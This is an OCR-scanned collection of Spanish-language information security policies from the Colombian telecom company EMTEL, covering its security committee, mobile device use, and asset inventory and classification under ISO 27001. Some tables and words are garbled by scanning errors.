v’ Consulted (Consultor)

¥ Informed linformada)  *
La funcién de la matriz es definir los roles y responsabilidades de cada persona involucrada
en los proyectos y procesos de la empresa. Incluso porque muchas veces un solo empleado
puede realizar varias funciones y es por eso que todo necesita ser documentado.
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5. DOCUMENTOS DE REFERENCIA

e Norma ISO 27001, control 6.1 — Roles y responsabilidades para la seguridad de Ia
informacidén

e Norma ISO/IEC 27002:2013

e Politica de seguridad de la informacién de la empresa de Telecomunicaciones de Popayan
S.AEMTELE.S.P

e Guia 2 — Politica general del MSPI propuesto por el MinTIC

e Guia 4 —Roles y responsabilidades en el marco del MSPI propuesto por el MinTIC

6. MARCO LEGAL

e Decreto 1078 de 2015
® Ley 1581 de 2012.
® Ley 1273 de 2009
e |ley1712 de 2014.
® Lley 1266 de 2008.
7. POLITICA

Como ya se menciond el comité de seguridad de la informacién tiene como propdsito apoyar las
actividades de administracién y operacién de la seguridad de la informacidn, bajo estos aspectos a
continuacidn en la tabla 1 se presentan las funciones que tiene este frente a la gestidn de la
seguridad en la empresa:

Coordinar la implementacién y mejora continua del sistema de gestidon de seguridad de la
informacidn (SGSI)

Revisar los diagndsticos del estado de la seguridad de la informacién en la empresa.

'Acompafiar’e impulsar el desarrollo de proyectos de seguridad.

Coordinar y dirigir acciones especificas que ayuden a proveer un ambiente seguro y establecer
los recursos de informacidn que sean consistentes con las metas y objetivos de la empresa.

Recomendar roles v responsabilidades especificos que se relacionen con la seguridad de la
informacidn.

Aprobar el uso de metodologias y procesos especificos para la seguridad de la informacidn.

Participar en la formulacién y evaluacién de planes de accién para mitigar y/o eliminar riesgos.

Empresa de Telecomunicaciones de Popayan EMTEL S.A. E.S.P.
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Realizar revisiones periddicas del SGSI (por lo menos una vez al afio) y segin los resultados de
esta revisién definir las acciones pertinentes.

Promover planes de capacitacidn con el propdsito de concientizar y sensibilizar a los empleados
acerca de sus responsabilidades en relacién al tema de seguridad y a las buenas practicas que se
deben seguir para proteger la informacién

Desarrollar y actualizar politicas, procedimientos y estdndares para garantizar la seguridad,
confidencialidad y privacidad de la informacién en la empresa

Aprobar nuevas politicas de seguridad de la informacién y sus modificaciones, en relacién con los
activos de la informacién

Monitorear el cumplimiento de las politicas de seguridad de la informacidn

Verificar que cada activo de informacién de la empresa haya sido asignado a un propietario el
cual debe definir los requerimientos de seguridad

Maonitoreas.e. investigar incidentes o violacicnes a la- seguridad deda informacidn y asf mismo
activar estrategias para evitar mas incidentes. ‘ ’ .
Seleccionar, evaluar e implementar herramientas que faciliten la labor de seguridad de la
informacidn en la empresa

Establecer los lineamientos para controlar el acceso a sistemas y plataformas tecnoldgicas de la

empresa.

Realizar otras actividades de alto nivel relacionadas con la seguridad de la informacién

Realizar periédicamente pruebas de vulnerabilidad a los sistemas y plataformas tecnoldgicas de
la empresa

Poner en conocimiento de la entidad, los documentos generados al interior del comité de
seguridad de la informacién que impacten de manera transversal a la misma.

Tabla 1. Funciones del comité de seguridad de la informacién

En reiacion a ias funciones dei comité de seguridad de ia®informacion, se definen ios roies y
responsabilidades que tiene cada uno de los integrantes que lo conforman, asi como su
intervencidn en cada una de las actividades, con el objetivo de conocer quién toma parte en cada
actividad y con qué nivel de participacidn. El comité de seguridad estara liderado por un oficial de
seguridad, quien deberd convocar a diferentes empleados de la empresa con el fin de formar
grupos interdisciplinarios que apoyen en la implementacidn y gestién del sistema de seguridad de
la informacidn, en ese sentido teniendo en cuenta la naturaleza la empresa y los objetivos que
busca con la implantacién de un SGSI, se establecié que inicialmente este estara conformado de la
siguiente manera:

e -Oficiai de Seguridad de la Informacion.
® Unrepresentante de la Oficina de Tecnologias de la Informacién
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® Un representante del drea de Gestidn del Control.

e Un representante del drea de Gestién de Calidad.

e Unrepresentante de la Oficina Asesora Juridica.
En concordancia a lo anterior para el establecimiento de roles y responsabilidades se haré uso de
la matriz RACI, la cual se muestra en la tabla 2, cada letra que forma su nombre es una
responsabilidad especifica en la actividad en cuestién.

0 PO AB DAD D RIP O
R | Responsable |Responsable de ejecutar la actividad :
~I'Encargad® dei cumpiimiento y ia calidad en la ejecucion de ia

] A Autoridad

actividad.

I | Informado

: finalizado
Tabla 2. Matriz RACI

8. ROLES Y RESPONSABILIDADES

Conrdlnar la 1mnlemen£acma v m.pra conunua del sl,stema de gestidn de '

seguridad de la informacién (SGSI) .
Revisar los diagndsticos del estado de la seguridad de la informacion en la R "
emopresa.

Acompafiar e impulsar el desarrollo de proyectos de seguridad. R A
Coordinar y dirigir acciones especificas que ayuden a proveer un ambiente :
 seguro v establecer los recursos de informacién que sean consistentes con las R A
metas y objetivos de la empresa.
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Recomendar roles y responsabilidades especificos que se relacionen con la
seguridad de la informacién.

Aprobar el uso de metodologias y procesos especificos para la seguridad de [a
informacién.

Gestionar la formulacién y evaluacién de planes de accién para mitigar y/o
eliminar riesgos

Realizar revisiones periddicas del SGSI (por lo menos una vez al afio) y segtin
los resultados definir las acciones pertinentes.

Promover planes de capacitacién con el propdsitc de concientizar y
sensibilizar a los empleados acerca de sus responsabilidades en relacién al
tema de seguridad y a las buenas précticas que se deben seguir para proteger
la informacién

Desarrollar y actualizar politicas, procedimientos y estadndares para garantizar
la seguridad, confidencialidad y privacidad de la informacién en la empresa
Aprobar nuevas politicas de seguridad de la informacidn y sus

modificaciones, en relacién con los activos de la informacién

Monitorear el cumplimiento de las politicas de seguridad de la informacién R
Monitorear e investigar incidentes o violaciones a la seguridad de la

informacidn y asi mismo activar estrategias para evitar mas incidentes. i A l
Seleccionar, evaluar e implementar herramientas que faciliten la labor de B i

seguridad de la informacién en la empresa

Establecer los lineamientos para controlar el acceso a sistemas y plataformas

tecnoldgicas de la empresa. R

Verificar que cada activo de informacién de la empresa haya sido asignado a

un propietario el cual debe definir los requerimientos de seguridad n a

Realizar periédicamente pruebas de vulnerabilidad a los sistemas y K |

plataformas tecnoldgicas de la empresa

Poner en conocimiento de la entidad, los documentos generados al interior

del comité de seguridad de la informacién que impacten de manera R A

transversal a la misma.
Tabla 3. Roles y responsabilidades de los integrantes que conforman el comité de seguridad
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9. ANEXOS
ANEXO A: Resolucién 66 del 15 de diciembre de 2020, en la cual se conforma el comité de
seguridad de la informacidn de la empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P
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RESOLUCION No. 66
{ 2 DE FEBRERO DE 2021)

"Por la cual se conforma el Comité de Seguridad de la Informacion de la Empresa de
Telecomunicaciones de Popayan 5.A EMTEL E.5.P y se definen sus funciones”

El gerente de la EMPRESA DE TELECOMUNICACIONES DE POPAYAN S.A EMTEL E.S.P en el
ejercicio de sus facultades legales y estatutarias y

CONSIDERANDO

Que de acuerdo a las Politicas Generales establecidas por la empresa, y considerando la
importancia que tiene, se necesita crear el Comité de Seguridad para la gestion y operacion
del sistema de seguridad de la informacion en la empresa.

En merito a lo expuesto,
RESUELVE:

ARTICULO PRIMERO: Crear v Conformar el Comité de Seguridad de la Informacion de la
empresa de Telecomunicaciones de Popayan 5.A EMTEL E.S.P. El Comité estara integrado asi:
» Oficial de seguridad de la informacién /o quien haga sus veces.
* Un representante de la oficina de Tecnologias de la informacién /o quien haga sus
veces.
» Un representante del area de Control Interno /o quien haga sus veces.
» Un representante de sistemas de Gestién de Calidad /o quien haga sus veces.
* Un representante del area Juridica /o quien haga sus veces.

Paragrafo 12, El Comité podra invitar a cada sesion, con voz y sin voto, a aquellas personas
que considere necesarias por la naturaleza de los temas a tratar,

ARTICULO SEGUNDO: OBIETIVO GENERAL DEL COMITE DE SEGURIDAD DE LA
INFORMACION: Es asegurar que exista una direccién vy apoyo gerencial para soportar la
administracién y desarrollo de iniciativas sohre seguridad de la informacién, a través de
compromisos apropiados y uso de recursos adecuados en el organismo, asi como de la
formulacién y mantenimiento de una politicas de seguridad de la informacién a través de
todo el organismo.
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ARTICULO TERCERO: FUNCIONES DEL COMITE: El Comité de Seguridad de la Informacién de

la-empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P tendréa dentro de sus
funciones las siguientes:

1.

o

1.0:

i bi 1

Coordinar la implementacién del Modelo de Seguridad y privacidad de la Informacion
al interior de la empre’éa.

Revisar los diagndsticos del estado de la seguridad de la informacion en la empresa
Acompafiar e 'impuvlsar el desarrollo de proyectos de seguridad.

Coordinar y dirigir acciones especificas que ayuden a proveer un ambiente seguro y
establecer los recursos de informacién que sean consistentes con las metas y
objetivos de la empresa. [
Recomendar roles y responsabjlidades especificos que se relacionen con la seguridéd
de la informacién. ‘ ‘
Aprobar el uso de metqdologias y procesos especificos para la seguridad de la
informacion.

Participar en la formulaciéon y evaluacién de planes de accién para mitigar y/o
eliminar riesgos. :
Realizar revisiones periédicas del SGSI (por lo menos una vez al afio) y segin los
resultados de esta revision definir las acciones pertinentes. '

Promover la difusidn y sensibilizacién de la seguridad de la informacién dentro de la
entidad.

Poner en conocimiento de la entidad, los documentos generados al interior del
comité de seguridad de la informacion que impacten de manera transversal a la
misma.

Las.demads funciones inherentes a la naturaleza del Comité.

Paragrafo 2°. Una vez conformado el Comité-de Seguridad de la Informacion, este podra

expedir su reglamento, en el cual fijard el alcance de cada una de las funciones operativas
sefialas en €l presente articulo.

ARTICULO QUINTO: SECRETARIA TECNICA: La Secretaria Técnica del Comité se definira al
interior del Comité sera remplazada cada tres meses.

ARTICULO SEXTO: FUNCIONES DE LA SECRETARIA TECNICA: Las funciones de la Secretaria
Técnica seran las siguientes:

L.

2:
3.

Elaborar las actas de las reuniones del Comité y verificar su formalizacién por parte
de sus miembros.

Citar a los integrantes del Comité a las sesiones ordinarias o extraordinarias

Remitir oportunamente a los miembros la agenda de cada comité.
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Llevar la custodia y archivo de las actas y demdas documentos soportes.
Servir de interlocutor entre terceros y el Comité.

Realizar seguimiento a los compromisos y tareas pendientes del Comité.
Presentar los informes que requiera el Comité.

e L

Las demas que le sean asignadas por el Comité.

ARTICULO SEPTIMO: REUNIONES DEL COMITE DE SEGURIDAD DE LA INFORMACION: El
Comité de Seguridad de la Informacién — debera reunirse (segln periodicidad definida por la
entidad), previa convocatoria del Secretario Técnico del Comité.

ARTICULO OCTAVO: SESIONES EXTRADORDINARIAS: Los miembros que conforman el
Comité podran ser citados a participar de sesiones extraordinarias de trabajo cuando sea
necesario, de acuerdo a temas de riesgos, incidentes o afectaciones de continuidad dentro
del Sistema de Gestiéon de Seguridad de la Informacién.

ARTICULO NOVENO: Designar los miembros que conforman el Comité de Seguridad de la
Informacién de la Empresa de Telecomunicaciones de Popayan S.A. EMTEL E.S.P.:

PRINCIPALES SUPLENTES
JORGE HERNAN GOMEZ TIMANA YENNY CAROLINA ORTEGA RIOS
MARIA CLAUDIA VALDIVIESO BELTRAN JOSE TOBAR DIAZ
ESTHER ELENA SALAZAR DOMINGUEZ JEANNETHE LILIANA MENDEZ VELASCO

ARTICULO NOVENO: VIGENCIA Y DEROGATORIA: La presente Resolucion rige a partir de la
fecha de su expedicion.

COMINIQUESE Y CUMPLSE

Dado en Popayan, a los 2 dias del mes de febrero de 2021

I
ET eR{L\GMM

.'
Gerente
{MTEL S.A. E.S.P.

Elabord: Gerardina Palacios (Técnico Admlnlstmtlvg\Gra 0 -2 — Gerencia)
Revisé: Yenny Carolina Ortega Rios (Direccién Adml\ ativa)
Aprobd: Jorge Herndn Gémez Timana (Gerente)
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1. INTRODUCCION
El uso de dispositivos mdviles es cada vez més frecuente en ambientes laborales ya que facilitan
la posibilidad de acceder o llevar la informacién en cualquier lugar y momento, pero asi mismo
trae consigo rectos a las empresas en cuanto conectividad y seguridad de la informacién, razén
por la cual se hace indispensable definir directrices y lineamientos que permitan hacer un buen
y correcto uso de estos.

2. OBIETIVO
Establecer las directrices para el uso de dispositivos méviles corporativos o personales que
acceden a la informacién de la empresa.

3. ALCANCE
Esta politica aplica para los empleados, contratistas y terceros que acceden a la informacién de
la Empresa de Telecomunicaciones S.A EMTEL E.S.P a través de dispositivos méviles.

4. DEFINICIONES

e Activo: En relacion con la sequridad de la informacidn, se refiere a cualquier informacién o
elemento relacionado con el tratamiento de la misma (sistemas, soportes, edificios,
personas...) que tenga valor para la organizacion. (ISO/IEC 27000).

© Dispositivo moévil: también conocido como computadora de bolsillo o computadora de
mano, es un tipo de computadora de tamaiio pequefio, con capacidades de procesamiento,
conexion a internet y memoria, disefiada especificamente para una funcién pero que puede
llevar a cabo otras funciones mds generales, de acuerdo con esta definicion existen
diferentes tipos de dispositivos mdviles entre los que se encuentran: teléfonos inteligentes,
tabletas, reloj inteligente, agendas digitales, portdtiles, cémaras digitales, etc.

5. DOCUMENTOS DE REFERENCIA
e Norma ISO 27001, control 6.2.1 — Politica para dispositivos mdviles
e Norma ISO/IEC 27002:2013
e Politica de seguridad de la informacién de la empresa de Telecomunicaciones de Popayan
S.AEMTELE.S.P
e Guia 2 — Politica general del MSPI propuesto por el MinTIC

6. MARCO LEGAL
e Ley1581de 2012.
e Decreto 1377 de 2013.
e Ley 1273 de 2009.

@ [ ¢, Empresa de Telecomunicaciones de Popayan EMTEL S.A. E.S.P.
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e Decreto 415 de 2016.

e Decreto 2573 de 2015.

e ley1712de2014.

e Resolucién 3564 de 2015.
e Ley 1266 de 2008.

7. POLITICA
Directrices de seguridad para el uso de dispositivos méviles personales

El personal que haga uso de dispositivos mdviles personales para almacenar o acceder a la
informacidn de la empresa debera:

a) Solicitar a la oficia de Tl autorizacién para hacer uso de este mediante el correo de
soporte@emtel.com.co

b) Aceptar los lineamientos establecidos en la presente politica y firmar un acuerdo de usuario
final en el que se establecen los deberes y obligaciones que tiene el empleado con la
informacién de la empresa, a la que estd accediendo y almacenando en su dispositivo.

c) Instalary configurar un antivirus en el equipo

d) Establecer un mecanismo de control de acceso como contrasefia superior a 8 caracteres, un
patron de seguridad de al menos 7 puntos de contacto, o huella digital.

e) Configurar la opcién de borrado remoto de informacién en los dispositivos méviles, con el
fin de eliminar los datos de dichos dispositivos de forma remota, en caso de ser requerido.

f) Realizar copias de respaldo de la informacién que se encuentra en el dispositivo, en la
carpeta de almacenamiento en red dispuesta por la empresa.

Directrices de seguridad para el uso de dispositivos méviles corporativos

a) Estd prohibido almacenar informacién personal en los dispositivos méviles asignados por la
empresa

b) Esta prohibido realizar instalacién de aplicaciones o software no autorizado por la oficina
de TI, asi mismo se prohibe la actualizacién de software o aplicacién de parches en el
dispositivo por parte del usuario.

c) Estd prohibido hacer reinstalacién del sistema operativo por parte del usuario, o modificar
la configuracién del dispositivo.

d) Los teléfonos méviles asignados por la empresa, deben permanecer encendidos y cargados
durante las horas laborales o de acuerdo a la responsabilidad y requerimientos propios del
cargo.

e) Los empleados que tenga a cargo dispositivos mdviles de la empresa deben hacer un buen
uso de estos y protegerlos contra pérdida o robo.

@ [ ¢, Empresa de Telecomunicaciones de Popayén EMTEL S.A. E.S.P
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f) En caso de pérdida o hurto de un dispositivo mévil que se conecte o almacene informacidn
de la empresa, se debe reportar de manera inmediata a la oficina de Tl con el fin de tomar
las medidas respectivas y evitar accesos no autorizados.

g) Los empleados deberan realizar la devolucidn de todos los activos fisicos y/o electrénicos
asignados por la empresa en el proceso de su desvinculacién.

8. ROLESY RESPONSABILIDADES

Monitorear el cumplimiento de las politicas de seguridad de la informacién

OFICINA DE Configurar los dispositivos mdviles tnica y exclusivamente con el software y/o
TECNOLOGIAS DE LA aplicacién necesaria para el desarrollo de las actividades para lo cual fue
INFORMACION previsto.

Velar porque se haga uso correcto, administracién, configuracidén de seguridad,
respaldo y soporte de los dispositivos méviles de la empresa.

Cumplir con las politicas de seguridad de la informacién de la empresa

Hacer buen uso de los activos entregados por la empresa para la realizacién de

USUARIOS sus funciones
Reportar cualquier evento que atente contra la seguridad de la informacién en
la empresa
9. ANEXOS

N/A
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1. INTRODUCCION
La gestién de activos es un proceso que le permite a las empresas alcanzar un manejo adecuado
de sus activos, es asi como muchas de ellas a través de sus politicas de seguridad de la
informacidn, establecen los lineamientos que se deben seguir para determinar que activos
poseen, como deben ser utilizados, roles y responsabilidades que tienen los empleados sobre
los mismos y nivel de clasificacién que debe dérsele a cada activo.

2. OBIJETIVO
Establecer las directrices para el uso apropiado de los activos de informacién de la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.

3. ALCANCE
Esta politica aplica para los empleados, contratistas y practicantes de la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.

4. REFERENCIAS Y DEFINICIONES

e Activo: En relacion con la seguridad de la informacién, se refiere a cualquier informacién o
elemento relacionado con el tratamiento de la misma (sistemas, soportes, edificios,
personas...) que tenga valor para la organizacién. (ISO/IEC 27000).

e Activo de Informacién: En relacion con la privacidad de la informacidn, se refiere al activo
que contiene informacion publica que el sujeto obligado genere, obtenga, adquiera,
transforme o controle en su calidad de tal.

e Informacidn: Datos relacionados que tienen significado para la entidad. La informacién es
un activo que, como otros activos importantes del negocio, es esencial para las actividades
de la entidad y, en consecuencia, necesita una proteccién adecuada. La definicion dada por
la ley 1712 del 2014, se refiere a un conjunto organizado de datos contenido en cualquier
documento que los sujetos obligados generen, obtengan, adquieran, transformen o
controlen.

o Informacién publica: Es toda informacién que un sujeto obligado genere, obtenga,
adquiera, o controle en su calidad de tal.

¢ Informacidn publica clasificada: Es aquella informacion que estando en poder o custodia de
un sujeto obligado en su calidad de tal, pertenece al dmbito propio, particular y privado o
sami-privado de una persona natural o juridica por lo que su acceso podrd ser negado o
exceptuado, siempre que se trate de las circunstancias legitimas y necesarias y los derechos
particulares o privados consagrados en el articulo 18 de la ley 1712 del 2014.

e [Informacién publica reservada: £s aquella informacién "que estando en poder o custodia
de un sujeto obligado en su calidad de tal, es exceptuada, de acceso a la ciudadania por
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dafio a intereses publicos y bajo cumplimiento de la totalidad de los requisitos consagrados
en el articulo de esta ley.

e Clasificacién de la Informacién: Es el ejercicio por medio del cual se determina que la
informacion pertenece a uno de los niveles de clasificacion estipulados en la Entidad. Tiene
como objetivo asegurar que la informacion recibe el nivel de proteccién adecuado.

e Propietario de la Informacion: Es una parte designada de la entidad, un cargo, proceso, o
grupo de trabajo que tiene la responsabilidad de garantizar que la informacién y los activos
asociados con los servicios de procesamiento de informacion se clasifican adecuadamente,
y de definir y revisar periédicamente las restricciones y clasificaciones del acceso, teniendo
en cuenta las politicas aplicables sobre el control del acceso.

e Custodio: Es una parte designada de la entidad, un cargo, proceso, o grupo de trabajo
encargado de administrar y hacer efectivos los controles de seguridad que el propietario de
la informacioén haya definido, tales como copias de seguridad, asignacion privilegios de
acceso, modificacidn y borrado.

e Usuario: Cualquier persona, entidad, cargo, proceso, sistema automatizado o grupo de
trabajo, que genere, obtenga, transforme, conserve o utilice informacién en papel o en
medio digital, fisicamente o a través de las redes de datos y los sistemas de informacion de
la Unidad, para propdsitos propios de su labor y que tendrdn el derecho manifiesto de uso
dentro del inventario de informacidn.

o Confidencialidad: Propiedad que determina que la informacion sélo esté disponible y sea
revelada a individuos, entidades o procesos autorizados.

e Integridad: Propiedad de salvaguardar la exactitud y estado completo de los activos

e Disponibilidad: Propiedad de que la informacidn sea accesible y utilizable por solicitud de
una entidad autorizada, cuando ésta asi lo requiera.

5. DOCUMENTOS DE REFERENCIA

e Norma ISO 27001, dominio 8 — Gestidn de activos

e Norma ISO/IEC 27002:2013

e Politica de seguridad de la informacidn de la empresa de Telecomunicaciones de Popayan
S.AEMTELE.S.P

e Guia 5 - Gestion y clasificacién de activos en el marco del MSP! propuesto por el MinTIC

e Guia 7- Gestion del riesgo en el marco del MSPI propuesto por el MinTIC

6. MARCO LEGAL
e Ley 1581 de 2012.
e Decreto 1083 de 2015.
e Ley 1273 de 2009.
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7. PoOLiTICA

a) Todo activo de informacién de la empresa deberé ser identificado y/o actualizado, acorde
con los lineamientos establecidos en la guia de inventario de activos (ver ANEXO A)

b) Asi mismo todos los activos contenidos en el inventario de activos de informacidn de la
empresa deben contar con un propietario el cual serd responsable de administrar y proteger
el activo durante todo su ciclo de vida (creacidn, almacenamiento, transmisidn, eliminacién
y destruccion).

c) Una vez identificado los activos de informacién se debera realizar la clasificacién de los
mismos, cuyo objetivo es asegurar que la informacidn reciba los niveles de proteccién
adecuados, para ellos se ha dispuesto de la guia para la clasificacién de activos de
informacién (ver ANEXO B)

d) Los activos de informacién clasificados como criticos deben contar con los controles
asociados al valor que este posea para la Empresa.

e) Los activos de informacién pertenecientes a la empresa se deben usar (nica y
exclusivamente para propdsitos laborales.

f) Al finalizar la vinculacién con la empresa, los empleados y contratistas deberan devolver los
activos que tenian a su cargo, siguiendo los lineamientos propuestos en el procedimiento
devolucidn de activos de informacién.

g) Ningun empleado o tercero vinculado a EMTEL S.A E.S.P puede divulgar informacién
confidencial de la empresa a personas no autorizadas.

h) Los empleados deberdn utilizar Gnicamente los programas y equipos dispuestos por la
oficina de Tl para la realizacién de sus funciones.

i) Todos los medios removibles que contengan informacidn sensible o confidencial deben ser
almacenados en un ambiente seguro y vigilado segln las especificaciones del fabricante.

j) Se debera realizar un borrado seguro de la informacién encontrada en los medios
removibles que sean reutilizados por empleados o contratista, antes de realizar alguna
reasignacion.

k) El contenido de cualquier medio reusable que se vaya a retirar de la organizacién se debera
remover de forma que no sea recuperable.

1) Es de exclusiva responsabilidad de cada empleado tomar las medidas adecuadas para el
almacenamiento y resguardo de los medios removibles, evitando accesos no autorizados,
dafios, pérdida de informacién o extravio del medio.

8. ROLES Y RESPONSABILIDADES

Monitorear el cumplimiento de las politicas de seguridad de la informacién
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OFICINA DE
TECNOLOGIAS
DELA
INFORMACION

Verificar que cada activo de informacién de la empresa haya sido asignhado a
un propietario, el cual debe definir los requerimientos de seguridad

Liderar el proceso de gestién del riesgo de seguridad para los activos de
informacién de la empresa.

Promover planes de capacitacion con el propésito de concientizar y sensibilizar
a los empleados acerca de sus responsabilidades en relacién al tema de
seguridad y a las buenas practicas que se deben seguir para proteger los activos
de informacidn

PROPIETARIO DE
LA
INFORMACION

Definir los niveles de clasificacién de la informacién

Asegurar que los controles de seguridad implementados sean consistentes con
la clasificacion de la informacién

Determinar los niveles de acceso a la informacién

Revisar periédicamente los niveles de acceso a los sistemas que tiene a su cargo

Tomar las acciones necesarias en caso en que se presente violaciones a la
seguridad de la informacién

Verificar periédicamente la integridad de la informacién de su drea

Apoyar al area de Tl para la generacién de controles necesarios para el
almacenamiento, procesamiento, distribucién y uso de la informacién.

CUSTODIO

Administrar y hacer efectivo los controles que el propietario del activo haya
definido

Garantizar que los activos de informacién se encuentren disponible e integros
y que solo personal autorizado acceda a ellos.

USUARIO

Hacer buen uso de los activos de informacidn asignados por la empresa

Cumplir con las politicas de seguridad de la informacién de la empresa

Garantizar la confidencialidad, integridad y disponibilidad de los activos de
informacion de la empresa

Reportar cualquier evento que atente contra la seguridad de la informacién
en la empresa

Utilizar la informacion de la empresa tnica y exclusivamente para propdsitos
autorizados
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Utilizar la informacidn de la empresa Unica y exclusivamente para propdsitos
autorizados

9. ANEXOS

e ANEXO A: Guia para el inventario de activos
e ANEXO B: Guia para la clasificacién de activos de informacién
e ANEXO C: Procedimiento devolucidn de activos de informacién
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ANEXO A

GUIA PARA LA REALIZACION DE INVENTARIO DE ACTIVOS DE INFORMACION DE LA
EMPRESA DE TELECOMUNICACIONES DE POPAYAN S.A EMTEL E.S.P

1. INVENTARIO DE ACTIVOS
La identificacion del inventario de activos de informacién, permite clasificar los activos a los que se
les debe brindar mayor proteccion, pues identifica claramente sus caracteristicas y rol al interior de
un proceso.

Las actividades a realizar para obtener un inventario de activos son Definicién, Revisién,
Actualizacidn y Publicacion, las cuales se reflejan documentalmente en la Matriz de inventario y
Clasificacién de Activos de Informacién.

informacion de los Activos de

informacion

Matriz de inventario y Valoracion

de Activos de Informacion

Figura 1. Procedimiento para inventario de activos
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1.1. DEFINICION
La definicion consiste en determinar qué activos de informacién van a hacer parte del inventario,

para esta tarea debe existir un equipo que realice la gestion de activos de informacidn al interior de
la empresa y por medio del lider del cada proceso (o quien haga sus veces... Lider requerido en
gestidn de calidad) ayude en realizacidn de la actividad.

En segunda instancia los lideres de procesos deben, solicitar la revisién de la definicidn de los activos
por parte del propietario del activo de informacién designado, custodio y usuario del mismo, para
que validen si son las partes interesadas o la parte de la entidad adecuadas para tener este rol. Es
recomendable que la definicién del inventario se lleve a cabo por lo menos una vez al afio

1.1.1. INFORMACION BASICA
La informacion basica hace referencia a aquellas caracteristicas del activo y para realizar |a etapa de

definicion podria incluir como minimo la siguiente:

Identificador: Nimero consecutivo Unico que identifica al activo en el inventario.
Proceso: Nombre del proceso al que pertenece el activo.

Nombre Activo: Nombre de identificacidn del activo dentro del proceso al que pertenece.

Descripcién/Observaciones: Es un espacio para describir el activo de manera que sea claramente
identificable por todos los miembros del proceso.

Tipo: Define el tipo al cual pertenece el activo. Para este campo se utilizan los siguientes valores:

e Informacidén: Corresponden a este tipo datos e informacién almacenada o procesada fisica
o electrénicamente tales como: bases y archivos de datos, contratos, documentacién del
sistema, investigaciones, acuerdos de confidencialidad, manuales de usuario,
procedimientos operativos o de soporte, planes para la continuidad del negocio, acuerdos
sobre retiro y pruebas de auditoria, entre otros.

e Software: Software de aplicacidn, interfaces, software del sistema, herramientas de
desarrollo y otras utilidades relacionadas.

e Recurso humano: Aquellas personas que, por su conocimiento, experiencia y criticidad para
el proceso, son consideradas activos de informacién.

e Servicio: Servicios de computacién y comunicaciones, tales como Internet, paginas de
consulta, directorios compartidos e Intranet.

e Hardware: Equipos de cémputo y de comunicaciones que por su criticidad son considerados
activos de informacién, no sdlo activos fijos.

e Otros: activos de informacién que no corresponden a ninguno de los tipos descritos
anteriormente, pero deben ser valorados para conocer su criticidad al interior del proceso.
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Ubicacidn: Describe la ubicacién tanto fisica como electrénica del activo de informacién.

Clasificacién: Hace referencia a la proteccién de informacién de acuerdo a Confidencialidad,
Integridad y Disponibilidad.

Justificacién: Para cada valoracién, describe el impacto que causaria la pérdida de la propiedad
(Confidencialidad, Integridad y Disponibilidad), o el argumento del porque se asignd dicha
valoracion.

Criticidad: Es un célculo automatico que determina el valor general del activo, de acuerdo con la
clasificacién de la Informacidn:

e Alta. Activos de informacidn en los cuales la clasificacién de la informacién en dos o todas
las propiedades (confidencialidad, integridad, y disponibilidad) es alta.

o Media. Activos de informacidn en los cuales la clasificacidn de la informacidn es alta en una
de sus propiedades (confidencialidad, integridad, y disponibilidad) o al menos una de elias
es de nivel medio.

e Baja. Activos de informacion en los cuales la clasificacién de la informacién en todos sus
niveles es baja.

1.1.2 PROPIEDAD

Propietario: Es una parte designada de la entidad, un cargo, proceso, o grupo de trabajo que tiene
la responsabilidad de garantizar que la informacidn y los activos asociados con el proceso se
clasifican adecuadamente. Deben definir y revisar periddicamente las restricciones y clasificaciones
del acceso.

Custodio: Es una parte designada de la entidad, un cargo, proceso, o grupo de trabajo encargado de
hacer efectivos las restricciones y clasificaciones de acceso definidos por el propietario. (Para
sistemas de informacién o informacién consignada o respaldada, generalmente es Tl o para
informacién fisica, los custodios pueden ser los funcionarios o el proceso de archivo o
correspondencia, el custodio generalmente se define donde reposa el activo original).

1.1.3 ACCESO

Usuarios: Son quienes generan, obtienen, transforman, conservan, eliminan o utilizan la
informacidn, en papel o en medio digital, fisicamente o a través de las redes de datos y los sistemas
de informaciodn.

1.1.4 GESTION
Fecha ingreso del Activo: Fecha de ingreso del activo de informacién en el inventario

Fecha salida del Activo: Fecha de exclusidn del activo de informacidn del inventario.
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1.2 REVISION

La actividad de revisién se refiere a la verificacién que se lleva a cabo para determinar si un activo
de informacién continua o no siendo parte del inventario, o si los valores de evaluacién asignados
en el inventario y clasificacion de activos de Informacién deben ser modificados.

En general, el inventario de activos puede ser revisado o validado en cualquier momento en que el
lider del proceso (o quien haga sus veces) asi lo solicite, o si el equipo de gestién de activos lo solicita
a algtin lider de proceso o el oficial de seguridad de la informacién si asi lo requiere. Las razones por
las cuales deberia realizarse una revisién o validacién son:

e Actualizaciones al proceso al que pertenece el activo.

e Adicidn de actividades al proceso.

e Inclusidn de nuevos registros de calidad, nuevos registros de referencia o procesos y
procedimientos.

e Inclusidn de un nuevo activo

e Desaparicion de un drea, proceso o cargo en la entidad que tenia asignado el rol de
propietario o custodio (Cambios Organizacionales).

e Cambios o migraciones de sistemas de informacién en donde se almacenan o reposan
activos de la ubicacién ya inventariados.

e Cambios fisicos de la ubicacidn de activos de informacién.

1.3. ACTUALIZACION

Una vez se ha definido qué cambios se realizarian en el inventario, desde cada proceso, se procede
a actualizar el inventario de activos de informacién.

1.4. PUBLICACION

El inventario de activos de informacidn debe ser un documento clasificado como “Confidencial”, y
no debe tener caracteristicas que lo permitan modificar por los usuarios autorizados. Sélo debe
tener acceso de modificacion a este documento el lider del proceso con previa autorizacién del
oficial de seguridad de la informacién o quien hagas sus veces.
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ANEXO B

GUIA PARA LA CLASIFICACION DE LOS ACTIVOS DE INFORMACION DE LA EMPRESA DE
TELECOMUNICACIONES DE POPAYAN S.A EMTEL E.S.P

La clasificacion de activos de informacidn tiene como objetivo asegurar que la informacién reciba
los niveles de proteccion adecuados, ya que con base en su valory de acuerdo a otras caracteristicas
particulares requiere un tipo de manejo especial, en ese sentido la guia N°5 del MSPI propone un
sistema de clasificacion basado en la confidencialidad, integridad y disponibilidad de los activos y
asi mismo define tres niveles (alto, medio y bajo) los cuales permiten determinar el valor del activo
en la empresa como se muestra en la tabla 1 y la tabla 2, este sistema de clasificacién de la
informacién sigue los requerimientos relacionados con la Gestién de Activos de los estdndares
27001:2013, ISO 27002, e ISO 27005.

INFORMACION pr— A
PUBLICA (A) (1)
RESERVADA
INFORMACION BAIJA BAJA
PUBLICA (3] (3)
NO CLASIFICADA | NO CLASIFICADA | NO CLASIFICADA

Tabla 1. Criterios de clasificacién

Activos de informacidn en los cuales la clasificacion de la informacién en dos (2)
